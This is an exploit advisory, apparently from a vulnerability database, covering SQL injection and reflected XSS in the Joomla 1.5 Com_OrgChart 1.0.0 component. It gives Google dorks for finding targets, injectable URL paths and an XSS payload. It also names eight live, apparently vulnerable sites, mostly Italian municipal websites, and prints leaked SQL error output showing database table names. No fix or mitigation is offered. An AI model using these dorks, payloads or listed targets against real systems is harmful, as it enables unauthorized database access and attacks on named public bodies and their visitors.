Joomla 1.5.26 Com_OrgChart Components 1.0.0 XSS SQL Injection

2019.08.25
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-89

################################################################### # Exploit Title : Joomla 1.5.26 Com_OrgChart Components 1.0.0 XSS SQL Injection # Author [ Discovered By ] : KingSkrupellos # Team : Cyberizm Digital Security Army # Date : 24/08/2019 # Vendor Homepage : ibrini.com - cmspal.it - altropiano.com - # Software Download Link : extensions.joomla.org/extension/org-chart-iib/ # Software Information Link : ibrini.com/en/boutique/information/2 # Software Affected Version : Com_OrgChart - 1.0.0 - 1.x # Joomla Affected Version : 1.x to 1.5.26 # Tested On : Windows and Linux # Category : WebApps # Exploit Risk : Medium # Google Dorks : intext:Realizzato con CMS-PAL 1.0 - Altropiano.com inurl:/index.php?option=com_orgchart intext:Realizzato con CMS-PAL 1.0 - Altropiano.com site:it inurl:/index.php?option=com_orgchart site:it # Vulnerability Type : CWE-89 [ Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') ] CWE-79 [ Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') ] # PacketStormSecurity : packetstormsecurity.com/files/authors/13968 # CXSecurity : cxsecurity.com/author/KingSkrupellos/1/ # Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos ################################################################### # Description About Software : ***************************** Org Chart Tool is organizational chart with many options to display hierarchical charts, organizational structures and sets of nested elements. ################################################################### # Impact : *********** Joomla 1.5.26 Com_OrgChart Components 1.0.0 is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. A remote attacker can send a specially crafted request to the vulnerable application and execute arbitrary SQL commands in application`s database. Further exploitation of this vulnerability may result in unauthorized data manipulation. An attacker can exploit this issue using a browser or with any SQL Injector Tool. Reflected XSS (or Non-Persistent) : *************************************** The server reads data directly from the HTTP request and reflects it back in the HTTP response. Reflected XSS exploits occur when an attacker causes a victim to supply dangerous content to a vulnerable web application, which is then reflected back to the victim and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or e-mailed directly to the victim. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces a victim to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the victim, the content is executed by the victim's browser. ################################################################### Admin Panel Login Path : *********************** /administrator/ # SQL Injection Exploit : ********************** /index.php?option=com_orgchart&task=img&cat=[SQL Injection] /index.php?option=com_orgchart&task=img&cat=[ID-NUMBER]&set=[ID-NUMBER]&c=[SQL Injection] /index.php?option=com_orgchart&task=img&cat=[ID-NUMBER]&set=[ID-NUMBER]&c=[SQL Injection]&lang=it # Cross Site Scripting XSS Exploit : ******************************** /index.php?option=com_orgchart&task=img&cat=1%27<marquee> <font%20color=lime%20size=32>XSS-Vulnerability-Found-By-KingSkrupellos</font></marquee> ################################################################### # Example Vulnerable Sites : ************************* [+] www.comune.portoazzurro.li.it/index.php?option=com_orgchart&task=img&cat=1%27 [+] www.comune.portoazzurro.li.it/index.php?option=com_orgchart&task=img&cat=1%27<marquee> <font%20color=lime%20size=32>XSS-Vulnerability-Found-By-KingSkrupellos</font></marquee> [+] www.comune.marcianamarina.li.it/index.php?option=com_orgchart&task=img&cat=1%27 [+] www.comunevillabasilica.it/index.php?option=com_orgchart&task=img&cat=1%27 [+] www.comune.villabasilica.lu.gov.it/index.php?option=com_orgchart&task=img&cat=1%27 [+] www.comune.camponellelba.li.it/index.php?option=com_orgchart&task=img&cat=1%27 [+] latiano.info/index.php?option=com_orgchart&task=img&cat=1%27 [+] www.comune.rionellelba.li.it/index.php?option=com_orgchart&task=img&cat=1%27 ################################################################### # Example SQL Database Error : **************************** You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'AND c.cat_resp = o.id' at line 2 SQL=SELECT * FROM cmspal_users AS o, cmspal_cat_orgchart AS c WHERE c.cat_id = AND c.cat_resp = o.id DB function failed with error number 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' ORDER BY m.added desc' at line 5 SQL=SELECT m.uff_name as uname, m.uff_desc as descrip, m.uff_id as id, m.added as added, m.uff_resp as resp, m.uff_addr as addr, m.uff_time as time, u.name as rname, u.*, m.cat_id as cid, m.doc_cat_id as did, c.* FROM cmspal_ uff_orgchart AS m LEFT JOIN cmspal_cat_orgchart AS c ON ( m.cat_id = c.cat_id ) LEFT JOIN cmspal_users AS u ON ( m.uff_resp = u.id ) WHERE m.uff_id=1' ORDER BY m.added desc ################################################################### # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team ###################################################################


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2019, cxsecurity.com

 

Back to Top